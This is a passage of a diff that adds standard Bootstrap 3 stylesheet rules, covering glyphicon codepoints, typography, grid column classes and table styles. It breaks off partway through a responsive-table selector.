+.glyphicon-save:before { + content: "\e166"; +} +.glyphicon-open:before { + content: "\e167"; +} +.glyphicon-saved:before { + content: "\e168"; +} +.glyphicon-import:before { + content: "\e169"; +} +.glyphicon-export:before { + content: "\e170"; +} +.glyphicon-send:before { + content: "\e171"; +} +.glyphicon-floppy-disk:before { + content: "\e172"; +} +.glyphicon-floppy-saved:before { + content: "\e173"; +} +.glyphicon-floppy-remove:before { + content: "\e174"; +} +.glyphicon-floppy-save:before { + content: "\e175"; +} +.glyphicon-floppy-open:before { + content: "\e176"; +} +.glyphicon-credit-card:before { + content: "\e177"; +} +.glyphicon-transfer:before { + content: "\e178"; +} +.glyphicon-cutlery:before { + content: "\e179"; +} +.glyphicon-header:before { + content: "\e180"; +} +.glyphicon-compressed:before { + content: "\e181"; +} +.glyphicon-earphone:before { + content: "\e182"; +} +.glyphicon-phone-alt:before { + content: "\e183"; +} +.glyphicon-tower:before { + content: "\e184"; +} +.glyphicon-stats:before { + content: "\e185"; +} +.glyphicon-sd-video:before { + content: "\e186"; +} +.glyphicon-hd-video:before { + content: "\e187"; +} +.glyphicon-subtitles:before { + content: "\e188"; +} +.glyphicon-sound-stereo:before { + content: "\e189"; +} +.glyphicon-sound-dolby:before { + content: "\e190"; +} +.glyphicon-sound-5-1:before { + content: "\e191"; +} +.glyphicon-sound-6-1:before { + content: "\e192"; +} +.glyphicon-sound-7-1:before { + content: "\e193"; +} +.glyphicon-copyright-mark:before { + content: "\e194"; +} +.glyphicon-registration-mark:before { + content: "\e195"; +} +.glyphicon-cloud-download:before { + content: "\e197"; +} +.glyphicon-cloud-upload:before { + content: "\e198"; +} +.glyphicon-tree-conifer:before { + content: "\e199"; +} +.glyphicon-tree-deciduous:before { + content: "\e200"; +} +.glyphicon-cd:before { + content: "\e201"; +} +.glyphicon-save-file:before { + content: "\e202"; +} +.glyphicon-open-file:before { + content: "\e203"; +} +.glyphicon-level-up:before { + content: "\e204"; +} +.glyphicon-copy:before { + content: "\e205"; +} +.glyphicon-paste:before { + content: "\e206"; +} +.glyphicon-alert:before { + content: "\e209"; +} +.glyphicon-equalizer:before { + content: "\e210"; +} +.glyphicon-king:before { + content: "\e211"; +} +.glyphicon-queen:before { + content: "\e212"; +} +.glyphicon-pawn:before { + content: "\e213"; +} +.glyphicon-bishop:before { + content: "\e214"; +} +.glyphicon-knight:before { + content: "\e215"; +} +.glyphicon-baby-formula:before { + content: "\e216"; +} +.glyphicon-tent:before { + content: "\26fa"; +} +.glyphicon-blackboard:before { + content: "\e218"; +} +.glyphicon-bed:before { + content: "\e219"; +} +.glyphicon-apple:before { + content: "\f8ff"; +} +.glyphicon-erase:before { + content: "\e221"; +} +.glyphicon-hourglass:before { + content: "\231b"; +} +.glyphicon-lamp:before { + content: "\e223"; +} +.glyphicon-duplicate:before { + content: "\e224"; +} +.glyphicon-piggy-bank:before { + content: "\e225"; +} +.glyphicon-scissors:before { + content: "\e226"; +} +.glyphicon-bitcoin:before { + content: "\e227"; +} +.glyphicon-yen:before { + content: "\00a5"; +} +.glyphicon-ruble:before { + content: "\20bd"; +} +.glyphicon-scale:before { + content: "\e230"; +} +.glyphicon-ice-lolly:before { + content: "\e231"; +} +.glyphicon-ice-lolly-tasted:before { + content: "\e232"; +} +.glyphicon-education:before { + content: "\e233"; +} +.glyphicon-option-horizontal:before { + content: "\e234"; +} +.glyphicon-option-vertical:before { + content: "\e235"; +} +.glyphicon-menu-hamburger:before { + content: "\e236"; +} +.glyphicon-modal-window:before { + content: "\e237"; +} +.glyphicon-oil:before { + content: "\e238"; +} +.glyphicon-grain:before { + content: "\e239"; +} +.glyphicon-sunglasses:before { + content: "\e240"; +} +.glyphicon-text-size:before { + content: "\e241"; +} +.glyphicon-text-color:before { + content: "\e242"; +} +.glyphicon-text-background:before { + content: "\e243"; +} +.glyphicon-object-align-top:before { + content: "\e244"; +} +.glyphicon-object-align-bottom:before { + content: "\e245"; +} +.glyphicon-object-align-horizontal:before { + content: "\e246"; +} +.glyphicon-object-align-left:before { + content: "\e247"; +} +.glyphicon-object-align-vertical:before { + content: "\e248"; +} +.glyphicon-object-align-right:before { + content: "\e249"; +} +.glyphicon-triangle-right:before { + content: "\e250"; +} +.glyphicon-triangle-left:before { + content: "\e251"; +} +.glyphicon-triangle-bottom:before { + content: "\e252"; +} +.glyphicon-triangle-top:before { + content: "\e253"; +} +.glyphicon-console:before { + content: "\e254"; +} +.glyphicon-superscript:before { + content: "\e255"; +} +.glyphicon-subscript:before { + content: "\e256"; +} +.glyphicon-menu-left:before { + content: "\e257"; +} +.glyphicon-menu-right:before { + content: "\e258"; +} +.glyphicon-menu-down:before { + content: "\e259"; +} +.glyphicon-menu-up:before { + content: "\e260"; +} +* { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +*:before, +*:after { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +html { + font-size: 10px; + + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); +} +body { + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 14px; + line-height: 1.42857143; + color: #333; + background-color: #fff; +} +input, +button, +select, +textarea { + font-family: inherit; + font-size: inherit; + line-height: inherit; +} +a { + color: #337ab7; + text-decoration: none; +} +a:hover, +a:focus { + color: #23527c; + text-decoration: underline; +} +a:focus { + outline: thin dotted; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +figure { + margin: 0; +} +img { + vertical-align: middle; +} +.img-responsive, +.thumbnail > img, +.thumbnail a > img, +.carousel-inner > .item > img, +.carousel-inner > .item > a > img { + display: block; + max-width: 100%; + height: auto; +} +.img-rounded { + border-radius: 6px; +} +.img-thumbnail { + display: inline-block; + max-width: 100%; + height: auto; + padding: 4px; + line-height: 1.42857143; + background-color: #fff; + border: 1px solid #ddd; + border-radius: 4px; + -webkit-transition: all .2s ease-in-out; + -o-transition: all .2s ease-in-out; + transition: all .2s ease-in-out; +} +.img-circle { + border-radius: 50%; +} +hr { + margin-top: 20px; + margin-bottom: 20px; + border: 0; + border-top: 1px solid #eee; +} +.sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + margin: -1px; + overflow: hidden; + clip: rect(0, 0, 0, 0); + border: 0; +} +.sr-only-focusable:active, +.sr-only-focusable:focus { + position: static; + width: auto; + height: auto; + margin: 0; + overflow: visible; + clip: auto; +} +h1, +h2, +h3, +h4, +h5, +h6, +.h1, +.h2, +.h3, +.h4, +.h5, +.h6 { + font-family: inherit; + font-weight: 500; + line-height: 1.1; + color: inherit; +} +h1 small, +h2 small, +h3 small, +h4 small, +h5 small, +h6 small, +.h1 small, +.h2 small, +.h3 small, +.h4 small, +.h5 small, +.h6 small, +h1 .small, +h2 .small, +h3 .small, +h4 .small, +h5 .small, +h6 .small, +.h1 .small, +.h2 .small, +.h3 .small, +.h4 .small, +.h5 .small, +.h6 .small { + font-weight: normal; + line-height: 1; + color: #777; +} +h1, +.h1, +h2, +.h2, +h3, +.h3 { + margin-top: 20px; + margin-bottom: 10px; +} +h1 small, +.h1 small, +h2 small, +.h2 small, +h3 small, +.h3 small, +h1 .small, +.h1 .small, +h2 .small, +.h2 .small, +h3 .small, +.h3 .small { + font-size: 65%; +} +h4, +.h4, +h5, +.h5, +h6, +.h6 { + margin-top: 10px; + margin-bottom: 10px; +} +h4 small, +.h4 small, +h5 small, +.h5 small, +h6 small, +.h6 small, +h4 .small, +.h4 .small, +h5 .small, +.h5 .small, +h6 .small, +.h6 .small { + font-size: 75%; +} +h1, +.h1 { + font-size: 36px; +} +h2, +.h2 { + font-size: 30px; +} +h3, +.h3 { + font-size: 24px; +} +h4, +.h4 { + font-size: 18px; +} +h5, +.h5 { + font-size: 14px; +} +h6, +.h6 { + font-size: 12px; +} +p { + margin: 0 0 10px; +} +.lead { + margin-bottom: 20px; + font-size: 16px; + font-weight: 300; + line-height: 1.4; +} +@media (min-width: 768px) { + .lead { + font-size: 21px; + } +} +small, +.small { + font-size: 85%; +} +mark, +.mark { + padding: .2em; + background-color: #fcf8e3; +} +.text-left { + text-align: left; +} +.text-right { + text-align: right; +} +.text-center { + text-align: center; +} +.text-justify { + text-align: justify; +} +.text-nowrap { + white-space: nowrap; +} +.text-lowercase { + text-transform: lowercase; +} +.text-uppercase { + text-transform: uppercase; +} +.text-capitalize { + text-transform: capitalize; +} +.text-muted { + color: #777; +} +.text-primary { + color: #337ab7; +} +a.text-primary:hover { + color: #286090; +} +.text-success { + color: #3c763d; +} +a.text-success:hover { + color: #2b542c; +} +.text-info { + color: #31708f; +} +a.text-info:hover { + color: #245269; +} +.text-warning { + color: #8a6d3b; +} +a.text-warning:hover { + color: #66512c; +} +.text-danger { + color: #a94442; +} +a.text-danger:hover { + color: #843534; +} +.bg-primary { + color: #fff; + background-color: #337ab7; +} +a.bg-primary:hover { + background-color: #286090; +} +.bg-success { + background-color: #dff0d8; +} +a.bg-success:hover { + background-color: #c1e2b3; +} +.bg-info { + background-color: #d9edf7; +} +a.bg-info:hover { + background-color: #afd9ee; +} +.bg-warning { + background-color: #fcf8e3; +} +a.bg-warning:hover { + background-color: #f7ecb5; +} +.bg-danger { + background-color: #f2dede; +} +a.bg-danger:hover { + background-color: #e4b9b9; +} +.page-header { + padding-bottom: 9px; + margin: 40px 0 20px; + border-bottom: 1px solid #eee; +} +ul, +ol { + margin-top: 0; + margin-bottom: 10px; +} +ul ul, +ol ul, +ul ol, +ol ol { + margin-bottom: 0; +} +.list-unstyled { + padding-left: 0; + list-style: none; +} +.list-inline { + padding-left: 0; + margin-left: -5px; + list-style: none; +} +.list-inline > li { + display: inline-block; + padding-right: 5px; + padding-left: 5px; +} +dl { + margin-top: 0; + margin-bottom: 20px; +} +dt, +dd { + line-height: 1.42857143; +} +dt { + font-weight: bold; +} +dd { + margin-left: 0; +} +@media (min-width: 768px) { + .dl-horizontal dt { + float: left; + width: 160px; + overflow: hidden; + clear: left; + text-align: right; + text-overflow: ellipsis; + white-space: nowrap; + } + .dl-horizontal dd { + margin-left: 180px; + } +} +abbr[title], +abbr[data-original-title] { + cursor: help; + border-bottom: 1px dotted #777; +} +.initialism { + font-size: 90%; + text-transform: uppercase; +} +blockquote { + padding: 10px 20px; + margin: 0 0 20px; + font-size: 17.5px; + border-left: 5px solid #eee; +} +blockquote p:last-child, +blockquote ul:last-child, +blockquote ol:last-child { + margin-bottom: 0; +} +blockquote footer, +blockquote small, +blockquote .small { + display: block; + font-size: 80%; + line-height: 1.42857143; + color: #777; +} +blockquote footer:before, +blockquote small:before, +blockquote .small:before { + content: '\2014 \00A0'; +} +.blockquote-reverse, +blockquote.pull-right { + padding-right: 15px; + padding-left: 0; + text-align: right; + border-right: 5px solid #eee; + border-left: 0; +} +.blockquote-reverse footer:before, +blockquote.pull-right footer:before, +.blockquote-reverse small:before, +blockquote.pull-right small:before, +.blockquote-reverse .small:before, +blockquote.pull-right .small:before { + content: ''; +} +.blockquote-reverse footer:after, +blockquote.pull-right footer:after, +.blockquote-reverse small:after, +blockquote.pull-right small:after, +.blockquote-reverse .small:after, +blockquote.pull-right .small:after { + content: '\00A0 \2014'; +} +address { + margin-bottom: 20px; + font-style: normal; + line-height: 1.42857143; +} +code, +kbd, +pre, +samp { + font-family: Menlo, Monaco, Consolas, "Courier New", monospace; +} +code { + padding: 2px 4px; + font-size: 90%; + color: #c7254e; + background-color: #f9f2f4; + border-radius: 4px; +} +kbd { + padding: 2px 4px; + font-size: 90%; + color: #fff; + background-color: #333; + border-radius: 3px; + -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); + box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); +} +kbd kbd { + padding: 0; + font-size: 100%; + font-weight: bold; + -webkit-box-shadow: none; + box-shadow: none; +} +pre { + display: block; + padding: 9.5px; + margin: 0 0 10px; + font-size: 13px; + line-height: 1.42857143; + color: #333; + word-break: break-all; + word-wrap: break-word; + background-color: #f5f5f5; + border: 1px solid #ccc; + border-radius: 4px; +} +pre code { + padding: 0; + font-size: inherit; + color: inherit; + white-space: pre-wrap; + background-color: transparent; + border-radius: 0; +} +.pre-scrollable { + max-height: 340px; + overflow-y: scroll; +} +.container { + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} +@media (min-width: 768px) { + .container { + width: 750px; + } +} +@media (min-width: 992px) { + .container { + width: 970px; + } +} +@media (min-width: 1200px) { + .container { + width: 1170px; + } +} +.container-fluid { + padding-right: 15px; + padding-left: 15px; + margin-right: auto; + margin-left: auto; +} +.row { + margin-right: -15px; + margin-left: -15px; +} +.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 { + position: relative; + min-height: 1px; + padding-right: 15px; + padding-left: 15px; +} +.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 { + float: left; +} +.col-xs-12 { + width: 100%; +} +.col-xs-11 { + width: 91.66666667%; +} +.col-xs-10 { + width: 83.33333333%; +} +.col-xs-9 { + width: 75%; +} +.col-xs-8 { + width: 66.66666667%; +} +.col-xs-7 { + width: 58.33333333%; +} +.col-xs-6 { + width: 50%; +} +.col-xs-5 { + width: 41.66666667%; +} +.col-xs-4 { + width: 33.33333333%; +} +.col-xs-3 { + width: 25%; +} +.col-xs-2 { + width: 16.66666667%; +} +.col-xs-1 { + width: 8.33333333%; +} +.col-xs-pull-12 { + right: 100%; +} +.col-xs-pull-11 { + right: 91.66666667%; +} +.col-xs-pull-10 { + right: 83.33333333%; +} +.col-xs-pull-9 { + right: 75%; +} +.col-xs-pull-8 { + right: 66.66666667%; +} +.col-xs-pull-7 { + right: 58.33333333%; +} +.col-xs-pull-6 { + right: 50%; +} +.col-xs-pull-5 { + right: 41.66666667%; +} +.col-xs-pull-4 { + right: 33.33333333%; +} +.col-xs-pull-3 { + right: 25%; +} +.col-xs-pull-2 { + right: 16.66666667%; +} +.col-xs-pull-1 { + right: 8.33333333%; +} +.col-xs-pull-0 { + right: auto; +} +.col-xs-push-12 { + left: 100%; +} +.col-xs-push-11 { + left: 91.66666667%; +} +.col-xs-push-10 { + left: 83.33333333%; +} +.col-xs-push-9 { + left: 75%; +} +.col-xs-push-8 { + left: 66.66666667%; +} +.col-xs-push-7 { + left: 58.33333333%; +} +.col-xs-push-6 { + left: 50%; +} +.col-xs-push-5 { + left: 41.66666667%; +} +.col-xs-push-4 { + left: 33.33333333%; +} +.col-xs-push-3 { + left: 25%; +} +.col-xs-push-2 { + left: 16.66666667%; +} +.col-xs-push-1 { + left: 8.33333333%; +} +.col-xs-push-0 { + left: auto; +} +.col-xs-offset-12 { + margin-left: 100%; +} +.col-xs-offset-11 { + margin-left: 91.66666667%; +} +.col-xs-offset-10 { + margin-left: 83.33333333%; +} +.col-xs-offset-9 { + margin-left: 75%; +} +.col-xs-offset-8 { + margin-left: 66.66666667%; +} +.col-xs-offset-7 { + margin-left: 58.33333333%; +} +.col-xs-offset-6 { + margin-left: 50%; +} +.col-xs-offset-5 { + margin-left: 41.66666667%; +} +.col-xs-offset-4 { + margin-left: 33.33333333%; +} +.col-xs-offset-3 { + margin-left: 25%; +} +.col-xs-offset-2 { + margin-left: 16.66666667%; +} +.col-xs-offset-1 { + margin-left: 8.33333333%; +} +.col-xs-offset-0 { + margin-left: 0; +} +@media (min-width: 768px) { + .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 { + float: left; + } + .col-sm-12 { + width: 100%; + } + .col-sm-11 { + width: 91.66666667%; + } + .col-sm-10 { + width: 83.33333333%; + } + .col-sm-9 { + width: 75%; + } + .col-sm-8 { + width: 66.66666667%; + } + .col-sm-7 { + width: 58.33333333%; + } + .col-sm-6 { + width: 50%; + } + .col-sm-5 { + width: 41.66666667%; + } + .col-sm-4 { + width: 33.33333333%; + } + .col-sm-3 { + width: 25%; + } + .col-sm-2 { + width: 16.66666667%; + } + .col-sm-1 { + width: 8.33333333%; + } + .col-sm-pull-12 { + right: 100%; + } + .col-sm-pull-11 { + right: 91.66666667%; + } + .col-sm-pull-10 { + right: 83.33333333%; + } + .col-sm-pull-9 { + right: 75%; + } + .col-sm-pull-8 { + right: 66.66666667%; + } + .col-sm-pull-7 { + right: 58.33333333%; + } + .col-sm-pull-6 { + right: 50%; + } + .col-sm-pull-5 { + right: 41.66666667%; + } + .col-sm-pull-4 { + right: 33.33333333%; + } + .col-sm-pull-3 { + right: 25%; + } + .col-sm-pull-2 { + right: 16.66666667%; + } + .col-sm-pull-1 { + right: 8.33333333%; + } + .col-sm-pull-0 { + right: auto; + } + .col-sm-push-12 { + left: 100%; + } + .col-sm-push-11 { + left: 91.66666667%; + } + .col-sm-push-10 { + left: 83.33333333%; + } + .col-sm-push-9 { + left: 75%; + } + .col-sm-push-8 { + left: 66.66666667%; + } + .col-sm-push-7 { + left: 58.33333333%; + } + .col-sm-push-6 { + left: 50%; + } + .col-sm-push-5 { + left: 41.66666667%; + } + .col-sm-push-4 { + left: 33.33333333%; + } + .col-sm-push-3 { + left: 25%; + } + .col-sm-push-2 { + left: 16.66666667%; + } + .col-sm-push-1 { + left: 8.33333333%; + } + .col-sm-push-0 { + left: auto; + } + .col-sm-offset-12 { + margin-left: 100%; + } + .col-sm-offset-11 { + margin-left: 91.66666667%; + } + .col-sm-offset-10 { + margin-left: 83.33333333%; + } + .col-sm-offset-9 { + margin-left: 75%; + } + .col-sm-offset-8 { + margin-left: 66.66666667%; + } + .col-sm-offset-7 { + margin-left: 58.33333333%; + } + .col-sm-offset-6 { + margin-left: 50%; + } + .col-sm-offset-5 { + margin-left: 41.66666667%; + } + .col-sm-offset-4 { + margin-left: 33.33333333%; + } + .col-sm-offset-3 { + margin-left: 25%; + } + .col-sm-offset-2 { + margin-left: 16.66666667%; + } + .col-sm-offset-1 { + margin-left: 8.33333333%; + } + .col-sm-offset-0 { + margin-left: 0; + } +} +@media (min-width: 992px) { + .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 { + float: left; + } + .col-md-12 { + width: 100%; + } + .col-md-11 { + width: 91.66666667%; + } + .col-md-10 { + width: 83.33333333%; + } + .col-md-9 { + width: 75%; + } + .col-md-8 { + width: 66.66666667%; + } + .col-md-7 { + width: 58.33333333%; + } + .col-md-6 { + width: 50%; + } + .col-md-5 { + width: 41.66666667%; + } + .col-md-4 { + width: 33.33333333%; + } + .col-md-3 { + width: 25%; + } + .col-md-2 { + width: 16.66666667%; + } + .col-md-1 { + width: 8.33333333%; + } + .col-md-pull-12 { + right: 100%; + } + .col-md-pull-11 { + right: 91.66666667%; + } + .col-md-pull-10 { + right: 83.33333333%; + } + .col-md-pull-9 { + right: 75%; + } + .col-md-pull-8 { + right: 66.66666667%; + } + .col-md-pull-7 { + right: 58.33333333%; + } + .col-md-pull-6 { + right: 50%; + } + .col-md-pull-5 { + right: 41.66666667%; + } + .col-md-pull-4 { + right: 33.33333333%; + } + .col-md-pull-3 { + right: 25%; + } + .col-md-pull-2 { + right: 16.66666667%; + } + .col-md-pull-1 { + right: 8.33333333%; + } + .col-md-pull-0 { + right: auto; + } + .col-md-push-12 { + left: 100%; + } + .col-md-push-11 { + left: 91.66666667%; + } + .col-md-push-10 { + left: 83.33333333%; + } + .col-md-push-9 { + left: 75%; + } + .col-md-push-8 { + left: 66.66666667%; + } + .col-md-push-7 { + left: 58.33333333%; + } + .col-md-push-6 { + left: 50%; + } + .col-md-push-5 { + left: 41.66666667%; + } + .col-md-push-4 { + left: 33.33333333%; + } + .col-md-push-3 { + left: 25%; + } + .col-md-push-2 { + left: 16.66666667%; + } + .col-md-push-1 { + left: 8.33333333%; + } + .col-md-push-0 { + left: auto; + } + .col-md-offset-12 { + margin-left: 100%; + } + .col-md-offset-11 { + margin-left: 91.66666667%; + } + .col-md-offset-10 { + margin-left: 83.33333333%; + } + .col-md-offset-9 { + margin-left: 75%; + } + .col-md-offset-8 { + margin-left: 66.66666667%; + } + .col-md-offset-7 { + margin-left: 58.33333333%; + } + .col-md-offset-6 { + margin-left: 50%; + } + .col-md-offset-5 { + margin-left: 41.66666667%; + } + .col-md-offset-4 { + margin-left: 33.33333333%; + } + .col-md-offset-3 { + margin-left: 25%; + } + .col-md-offset-2 { + margin-left: 16.66666667%; + } + .col-md-offset-1 { + margin-left: 8.33333333%; + } + .col-md-offset-0 { + margin-left: 0; + } +} +@media (min-width: 1200px) { + .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 { + float: left; + } + .col-lg-12 { + width: 100%; + } + .col-lg-11 { + width: 91.66666667%; + } + .col-lg-10 { + width: 83.33333333%; + } + .col-lg-9 { + width: 75%; + } + .col-lg-8 { + width: 66.66666667%; + } + .col-lg-7 { + width: 58.33333333%; + } + .col-lg-6 { + width: 50%; + } + .col-lg-5 { + width: 41.66666667%; + } + .col-lg-4 { + width: 33.33333333%; + } + .col-lg-3 { + width: 25%; + } + .col-lg-2 { + width: 16.66666667%; + } + .col-lg-1 { + width: 8.33333333%; + } + .col-lg-pull-12 { + right: 100%; + } + .col-lg-pull-11 { + right: 91.66666667%; + } + .col-lg-pull-10 { + right: 83.33333333%; + } + .col-lg-pull-9 { + right: 75%; + } + .col-lg-pull-8 { + right: 66.66666667%; + } + .col-lg-pull-7 { + right: 58.33333333%; + } + .col-lg-pull-6 { + right: 50%; + } + .col-lg-pull-5 { + right: 41.66666667%; + } + .col-lg-pull-4 { + right: 33.33333333%; + } + .col-lg-pull-3 { + right: 25%; + } + .col-lg-pull-2 { + right: 16.66666667%; + } + .col-lg-pull-1 { + right: 8.33333333%; + } + .col-lg-pull-0 { + right: auto; + } + .col-lg-push-12 { + left: 100%; + } + .col-lg-push-11 { + left: 91.66666667%; + } + .col-lg-push-10 { + left: 83.33333333%; + } + .col-lg-push-9 { + left: 75%; + } + .col-lg-push-8 { + left: 66.66666667%; + } + .col-lg-push-7 { + left: 58.33333333%; + } + .col-lg-push-6 { + left: 50%; + } + .col-lg-push-5 { + left: 41.66666667%; + } + .col-lg-push-4 { + left: 33.33333333%; + } + .col-lg-push-3 { + left: 25%; + } + .col-lg-push-2 { + left: 16.66666667%; + } + .col-lg-push-1 { + left: 8.33333333%; + } + .col-lg-push-0 { + left: auto; + } + .col-lg-offset-12 { + margin-left: 100%; + } + .col-lg-offset-11 { + margin-left: 91.66666667%; + } + .col-lg-offset-10 { + margin-left: 83.33333333%; + } + .col-lg-offset-9 { + margin-left: 75%; + } + .col-lg-offset-8 { + margin-left: 66.66666667%; + } + .col-lg-offset-7 { + margin-left: 58.33333333%; + } + .col-lg-offset-6 { + margin-left: 50%; + } + .col-lg-offset-5 { + margin-left: 41.66666667%; + } + .col-lg-offset-4 { + margin-left: 33.33333333%; + } + .col-lg-offset-3 { + margin-left: 25%; + } + .col-lg-offset-2 { + margin-left: 16.66666667%; + } + .col-lg-offset-1 { + margin-left: 8.33333333%; + } + .col-lg-offset-0 { + margin-left: 0; + } +} +table { + background-color: transparent; +} +caption { + padding-top: 8px; + padding-bottom: 8px; + color: #777; + text-align: left; +} +th { + text-align: left; +} +.table { + width: 100%; + max-width: 100%; + margin-bottom: 20px; +} +.table > thead > tr > th, +.table > tbody > tr > th, +.table > tfoot > tr > th, +.table > thead > tr > td, +.table > tbody > tr > td, +.table > tfoot > tr > td { + padding: 8px; + line-height: 1.42857143; + vertical-align: top; + border-top: 1px solid #ddd; +} +.table > thead > tr > th { + vertical-align: bottom; + border-bottom: 2px solid #ddd; +} +.table > caption + thead > tr:first-child > th, +.table > colgroup + thead > tr:first-child > th, +.table > thead:first-child > tr:first-child > th, +.table > caption + thead > tr:first-child > td, +.table > colgroup + thead > tr:first-child > td, +.table > thead:first-child > tr:first-child > td { + border-top: 0; +} +.table > tbody + tbody { + border-top: 2px solid #ddd; +} +.table .table { + background-color: #fff; +} +.table-condensed > thead > tr > th, +.table-condensed > tbody > tr > th, +.table-condensed > tfoot > tr > th, +.table-condensed > thead > tr > td, +.table-condensed > tbody > tr > td, +.table-condensed > tfoot > tr > td { + padding: 5px; +} +.table-bordered { + border: 1px solid #ddd; +} +.table-bordered > thead > tr > th, +.table-bordered > tbody > tr > th, +.table-bordered > tfoot > tr > th, +.table-bordered > thead > tr > td, +.table-bordered > tbody > tr > td, +.table-bordered > tfoot > tr > td { + border: 1px solid #ddd; +} +.table-bordered > thead > tr > th, +.table-bordered > thead > tr > td { + border-bottom-width: 2px; +} +.table-striped > tbody > tr:nth-of-type(odd) { + background-color: #f9f9f9; +} +.table-hover > tbody > tr:hover { + background-color: #f5f5f5; +} +table col[class*="col-"] { + position: static; + display: table-column; + float: none; +} +table td[class*="col-"], +table th[class*="col-"] { + position: static; + display: table-cell; + float: none; +} +.table > thead > tr > td.active, +.table > tbody > tr > td.active, +.table > tfoot > tr > td.active, +.table > thead > tr > th.active, +.table > tbody > tr > th.active, +.table > tfoot > tr > th.active, +.table > thead > tr.active > td, +.table > tbody > tr.active > td, +.table > tfoot > tr.active > td, +.table > thead > tr.active > th, +.table > tbody > tr.active > th, +.table > tfoot > tr.active > th { + background-color: #f5f5f5; +} +.table-hover > tbody > tr > td.active:hover, +.table-hover > tbody > tr > th.active:hover, +.table-hover > tbody > tr.active:hover > td, +.table-hover > tbody > tr:hover > .active, +.table-hover > tbody > tr.active:hover > th { + background-color: #e8e8e8; +} +.table > thead > tr > td.success, +.table > tbody > tr > td.success, +.table > tfoot > tr > td.success, +.table > thead > tr > th.success, +.table > tbody > tr > th.success, +.table > tfoot > tr > th.success, +.table > thead > tr.success > td, +.table > tbody > tr.success > td, +.table > tfoot > tr.success > td, +.table > thead > tr.success > th, +.table > tbody > tr.success > th, +.table > tfoot > tr.success > th { + background-color: #dff0d8; +} +.table-hover > tbody > tr > td.success:hover, +.table-hover > tbody > tr > th.success:hover, +.table-hover > tbody > tr.success:hover > td, +.table-hover > tbody > tr:hover > .success, +.table-hover > tbody > tr.success:hover > th { + background-color: #d0e9c6; +} +.table > thead > tr > td.info, +.table > tbody > tr > td.info, +.table > tfoot > tr > td.info, +.table > thead > tr > th.info, +.table > tbody > tr > th.info, +.table > tfoot > tr > th.info, +.table > thead > tr.info > td, +.table > tbody > tr.info > td, +.table > tfoot > tr.info > td, +.table > thead > tr.info > th, +.table > tbody > tr.info > th, +.table > tfoot > tr.info > th { + background-color: #d9edf7; +} +.table-hover > tbody > tr > td.info:hover, +.table-hover > tbody > tr > th.info:hover, +.table-hover > tbody > tr.info:hover > td, +.table-hover > tbody > tr:hover > .info, +.table-hover > tbody > tr.info:hover > th { + background-color: #c4e3f3; +} +.table > thead > tr > td.warning, +.table > tbody > tr > td.warning, +.table > tfoot > tr > td.warning, +.table > thead > tr > th.warning, +.table > tbody > tr > th.warning, +.table > tfoot > tr > th.warning, +.table > thead > tr.warning > td, +.table > tbody > tr.warning > td, +.table > tfoot > tr.warning > td, +.table > thead > tr.warning > th, +.table > tbody > tr.warning > th, +.table > tfoot > tr.warning > th { + background-color: #fcf8e3; +} +.table-hover > tbody > tr > td.warning:hover, +.table-hover > tbody > tr > th.warning:hover, +.table-hover > tbody > tr.warning:hover > td, +.table-hover > tbody > tr:hover > .warning, +.table-hover > tbody > tr.warning:hover > th { + background-color: #faf2cc; +} +.table > thead > tr > td.danger, +.table > tbody > tr > td.danger, +.table > tfoot > tr > td.danger, +.table > thead > tr > th.danger, +.table > tbody > tr > th.danger, +.table > tfoot > tr > th.danger, +.table > thead > tr.danger > td, +.table > tbody > tr.danger > td, +.table > tfoot > tr.danger > td, +.table > thead > tr.danger > th, +.table > tbody > tr.danger > th, +.table > tfoot > tr.danger > th { + background-color: #f2dede; +} +.table-hover > tbody > tr > td.danger:hover, +.table-hover > tbody > tr > th.danger:hover, +.table-hover > tbody > tr.danger:hover > td, +.table-hover > tbody > tr:hover > .danger, +.table-hover > tbody > tr.danger:hover > th { + background-color: #ebcccc; +} +.table-responsive { + min-height: .01%; + overflow-x: auto; +} +@media screen and (max-width: 767px) { + .table-responsive { + width: 100%; + margin-bottom: 15px; + overflow-y: hidden; + -ms-overflow-style: -ms-autohiding-scrollbar; + border: 1px solid #ddd; + } + .table-responsive > .table { + margin-bottom: 0; + } + .table-responsive > .table > thead > tr > th, + .table-responsive > .table > tbody > tr > th, + .table-responsive > .table > tfoot > tr > th, + .table-responsive > .table > thead > tr > td, + .table-responsive > .table > tbody > tr > td, + .table-responsive > .table > tfoot > tr > td { + white-space: nowrap; + } + .table-responsive > .table-bordered { + border: 0; + } + .table-responsive > .table-bordered > thead > tr > th:first-child, + .table-responsive > .table-bordered > tbody > tr > th:first-child, + .table-responsive > .table-bordered > tfoot 